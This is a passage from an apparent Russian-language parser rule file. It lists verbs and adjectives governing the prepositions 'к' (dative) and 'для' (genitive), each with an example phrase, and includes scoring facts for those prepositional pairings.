rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
